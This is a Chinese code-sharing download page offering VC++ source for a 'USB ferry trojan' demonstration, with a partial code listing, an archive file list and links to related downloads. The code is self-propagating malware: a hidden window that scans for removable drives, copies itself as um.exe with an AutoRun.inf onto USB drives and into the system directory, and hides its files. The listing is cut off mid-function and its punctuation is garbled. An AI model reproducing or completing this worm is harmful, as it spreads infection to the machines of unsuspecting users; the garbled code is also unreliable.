资源简介
vc编写的u盘摆渡木马演示程序,调试通过,可演示木马感染u盘的过程,也可演示感染电脑的过程
代码片段和文件信息
#include
#include
#include
#include
#define TIMER 1//计时器
#define WM_FROMC WM_USER+0//自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1//自定义消息 从U盘中启动
//function
LRESULT CALLBACK WndProc(HWND UINT WPARAM LPARAM);//窗口过程
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus“s path
BOOL FindU(TCHAR *u);//check whether u exist u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
//BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus“s path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName=“um.exe“;
const TCHAR *szAutoRunFile=“AutoRun.inf“;
int WINAPI WinMain (HINSTANCE hInstance HINSTANCE hPrevInstanceLPSTR
szCmdLine int iCmdShow)
{
static TCHAR szAppName[]=TEXT (“virus“);
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style=0;
wndclass.lpfnWndProc=WndProc;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hInstance=hInstance;
wndclass.hIcon=0;
wndclass.hCursor=0;
wndclass.hbrBackground=0;
wndclass.lpszMenuName=NULL;
wndclass.lpszClassName=szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULLTEXT(“Program requires Windows NT!“)szAppNameMB_IConerror);
return 0;
}
hwnd = CreateWindow (szAppName NULLWS_DISABLED0000NULL NULLhInstance NULL);
while (GetMessage(&msg NULL 0 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc (HWND hwnd UINT message WPARAM wParamLPARAM
lParam)
{
switch(message)
{
// 处理一些要下面要用到的全局变量
case WM_CREATE:
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwndTIMER5000NULL);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
//timer message
case WM_TIMER:
if(szExePath[0]==‘D‘)
{
if(FindU(U))
{
SendMessage(hwndWM_FROMC00);
}
}
else
SendMessage(hwndWM_FROMU00);
return 0;
case WM_FROMC:
CopyToUAndSet();
return 0;
case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;
case WM_DESTROY:
KillTimer(hwndTIMER);
PostQuitMessage(0);
return 0;
}
return ::DefWindowProc(hwnd message wParam lParam);
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULLpathMAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}
BOOL FindU(TCHAR *u)
{
u[1]=‘:‘;
for(char d=‘C‘;d<=‘Z‘;d++)//遍历C到Z
{
u[0]=d;
if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
return TRUE;
}
return FALSE;
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(pathMAX_PATH);//得到系统路径
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath“d:“);
lstrcat(szPath“\\“);
lstrcat(szPathszExeName);//
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 5263 2007-03-20 22:06 um\um.cpp
文件 3914 2007-03-20 14:17 um\um.dsp
文件 529 2007-03-20 13:04 um\um.dsw
文件 41984 2007-03-20 22:06 um\um.ncb
文件 50688 2007-03-20 22:06 um\um.opt
文件 874 2007-03-20 20:52 um\um.plg
目录 0 2007-03-22 08:40 um
----------- --------- ---------- ----- ----
103470 8
相关资源
- mfc各种自绘漂亮Button 也用带位图按钮
- 程序创建两个线程,第一个线程没有
- 跳棋游戏
- AES 加密算法接口及演示程序
- c++代码解析IP数据包
- 微软官方MFC UDP socket 聊天例程
- 基于MFC 的多线程局域网聊天工具源码
- C语言库函数源码大全
- DHCP源码含server relay client
- 飞行棋c++源码初学者学习用
- Lua源码和Lua在C++的使用
- C语言大作业 菜单驱动的学生成绩管理
- 用C#实现的四叉树,源码,可以直接运
- websocket编程C语言源码
- c语言万年历的课程设计及源码
- VC++源码字识别系统
- 基于C++的简易FTP服务/客户端源码
- 控制台flappy birdC++源码
- VC++端口转发程序源码
- 即时通讯flamingo服务器端代码
- RSA加解密源码VC++
- exe全盘感染c++源码
- reliefF算法及其源码
- c++ ten超级井字棋源码
- PE文件格式解析MFCC++源码
- c斗地主源码及实现
- Qt/C++ 网站爬虫源码
- 基于51单片机控制的篮球比赛计时、计
- super pi源码
- VC6窗体dll,带热键,自身卸载(源码
评论
共有 条评论